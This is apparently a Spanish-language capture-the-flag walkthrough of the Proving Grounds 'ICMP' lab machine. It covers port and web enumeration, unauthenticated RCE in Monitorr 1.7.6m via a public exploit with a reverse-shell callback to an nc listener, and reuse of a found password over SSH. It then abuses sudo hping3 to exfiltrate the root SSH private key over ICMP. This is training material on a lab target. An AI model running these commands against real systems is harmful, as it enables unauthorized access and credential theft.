# ICMP

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWFmTnY0EHVD5JODeGWTH%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(16).png?alt=media&#x26;token=2b538e7c-2898-4c28-86ef-51f0c5269009" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos a resolver este CTF enumerando los servicios que tiene abiertos.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.214.218
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FnvdQhKwRGC3HVyXY3D7l%2Fimage.png?alt=media&#x26;token=239a1174-6f09-4b00-a7bd-de567a50813e" alt=""><figcaption></figcaption></figure>

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será la enumeración profunda de los puertos abiertos.

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.214.218
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJANwKE6XxyQwaUoRIVZ6%2Fimage.png?alt=media&#x26;token=56cc6102-fb2f-44a9-9c04-b12d073cc1d1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyhFmYPRl796sQAmxKwjR%2Fimage.png?alt=media&#x26;token=8c518a67-1748-42d6-9ad1-94a95ae7c231" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38

#### Enumeración Web

La máquina ICMP está ejecutando un servidor Web en el puerto 80. Veamos su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZBaj0Uw087gwiYvuuMan%2Fimage.png?alt=media&#x26;token=0fa5e750-10f9-46fb-9585-6246fb03531a" alt=""><figcaption></figcaption></figure>

Tenemos una versión "Monitorr 1.7.6m"

Vamos a enumerar archivos y directorios presentes en el sitio Web.

<pre><code><strong>feroxbuster -u http://192.168.214.218 -s200,301 -x html,txt,php -n
</strong></code></pre>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fzs5Ls9vhvFyUrCG1c9Jl%2Fimage.png?alt=media&#x26;token=1c7e48aa-5466-4bf6-841d-dfd4850a1cf4" alt=""><figcaption></figcaption></figure>

Solo encontramos el directorio donde nos encontramos cuando accedemos al sitio Web.

### Explotación

En la enumeración del sitio Web encontramos una versión de CMS, vamos a tratar de encontrar vulnerabilidades para esa versión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FmtywKbxiGJRjEyQA9lah%2Fimage.png?alt=media&#x26;token=a2b00160-3cd6-4af1-babb-05e26fbab373" alt=""><figcaption></figcaption></figure>

Existe una vulnerabilidad de RCE sin autenticación para esa versión de CMS. Vamos a descargar ese exploit desarrollado en Python.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwTxvZznceXaCQuHhldUn%2Fimage.png?alt=media&#x26;token=9278f714-8235-44f2-b19d-212071064e91" alt=""><figcaption></figcaption></figure>

Para realizar la explotación necesitaremos la URL del sitio que queremos vulnerar, nuestra dirección IP y puerto local de escucha. También debemos poner a la escucha un oyente nc en el mismo puerto local indicado en la ejecución del exploit.&#x20;

```
python2 48980.py http://192.168.214.218/mon/ 192.168.45.5 1234
nc -lnvp 1234
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgRU1nEc10lSMiZIKnC4v%2Fimage.png?alt=media&#x26;token=f94f9204-0c7e-4831-b1ed-129548e56c5c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8o6czX6GQzLOYAIeDegw%2Fimage.png?alt=media&#x26;token=c22aef02-545c-4d63-9f45-2ba355173214" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina objetivo con bajos privilegios. El siguiente paso será buscar la flag local.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F4oAD1N1l8InFh3N5pPVs%2Fimage.png?alt=media&#x26;token=a1426aee-9aa9-4be8-98e1-03053a04a2be" alt=""><figcaption></figcaption></figure>

### Pivontando de www-data a fox

Después de que conseguimos el punto de apoyo en el sistema, verificamos a los usuarios del mismo.

```
grep sh /etc/passwd
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fz2gWQJWsYUbnCfbroYVU%2Fimage.png?alt=media&#x26;token=b7595405-94cd-4858-9ce8-6912b16682e1" alt=""><figcaption></figcaption></figure>

Vamos a enumerar el contenido del directorio del usuario /fox.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FR29duo3Zp6F61tbXUGlm%2Fimage.png?alt=media&#x26;token=675ef971-03ec-4b43-a291-f0b852dd7f66" alt=""><figcaption></figcaption></figure>

Interesante en la enumeración. Vemos un directorio /devel para el que no tenemos permiso apra acceder y un archivo reminder. Veamos el contenido del archivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXz0a9KVd10jWoCl6Dhsl%2Fimage.png?alt=media&#x26;token=e4ad747c-b03f-4920-954f-b4cf5d77c2be" alt=""><figcaption></figcaption></figure>

El archivo "reminder" indica que la encriptación se lleva a cabo mediante un archivo denominado crypt.php. Además, se dispone de un directorio de desarrollo con permisos de ejecución para otros usuarios, pero sin permisos de lectura/escritura. En consecuencia, se podría inferir que el archivo crypt.php podría encontrarse dentro de dicho directorio. Vamos a comprobarlo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FscgOEUYAiFT6ijrtOp6O%2Fimage.png?alt=media&#x26;token=119749b6-7cbc-47f4-92a5-ac515bb1ed83" alt=""><figcaption></figcaption></figure>

Puede la contraseña de algún servicio. Recordamos que este CTF ejecuta un servicio SSH en el puerto 22 y que tenemos un nombre de usuario, fox. Veamos si podemos conectarnos con el usuario fox a través de SSH.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7h48hQQhDGpHY9UBYt7r%2Fimage.png?alt=media&#x26;token=5461ed84-26df-4c22-9df4-c2cbf79fde73" alt=""><figcaption></figcaption></figure>

Era la contraseña del usuario "fox" para el servicio SSH.&#x20;

### Elevación de privilegios

Una vez tenemos acceso a la máquina como usuario "fox", vamos a enumerar  las diferentes formas de poder elevar privilegios. Comenzamos con `sudo -l`.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWIZWWIUt35O4mtKhuIIu%2Fimage.png?alt=media&#x26;token=69683b7d-a694-4519-9567-01e0fded60c8" alt=""><figcaption></figcaption></figure>

Se permite ejecutar un comando con permisos de root, pero debido a que estamos en modo ICMP, no podemos acceder a un shell. Sin embargo, aún podemos transferir archivos a otra máquina. Consideramos enviar el archivo shadow o una clave privada SSH como posibles opciones.&#x20;

Para lograrlo, es necesario activar el modo de escucha de hping3 en la máquina receptora y enviar el archivo desde la máquina de origen hacia la receptora. Esto vamos a hacerlo con dos instancias SSH diferentes de la misma máquina de destino.

```
Terminal 1: sudo hping3 --icmp 127.0.0.1 --listen signature --safe
Terminal 2: sudo hping3 --icmp 127.0.0.1 --sign signature --file /root/.ssh/id_rsa -d 4000 -c 2
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZoL1RrjLcFVxs8zeKjXj%2Fimage.png?alt=media&#x26;token=abca6be4-c897-409e-b426-5d908dca7e8e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FSEw3xBdzZaosPKUkBRHW%2Fimage.png?alt=media&#x26;token=3f1d7da4-8fc9-4966-b96c-cd240a65ebb4" alt=""><figcaption></figcaption></figure>

Obtenemos una clave privada. Vamos a copiarla a nuestra máquina de ataque. A esta clave le damos permisos `chmod 600.` Vamos a tratar de conectarnos a la máquina objetivo como usuario root a través del servicio SSH aprovechando la clave id\_rsa que hemos encontrado.

```
ssh root@192.168.214.218 -i id_rsa
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FuYTu7yHHExdWtUnmxuCt%2Fimage.png?alt=media&#x26;token=4c2d62dd-aee5-460d-88bd-48f0c34c8b60" alt=""><figcaption></figcaption></figure>

Obtenemos acceso a la máquina objetivo como usuario "root". El último paso para completar la máquna será conseguir la flag proof.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7EVLBI2gwHgvOt351ndr%2Fimage.png?alt=media&#x26;token=5fbcfcdb-8c6f-4920-92cf-6e6aeac3de92" alt=""><figcaption></figcaption></figure>

Y ya estaría completa la máquina ICMP de la plataforma Proving Grounds.

{% embed url="<https://www.youtube.com/watch?v=-hMk_WGu2sY>" %}
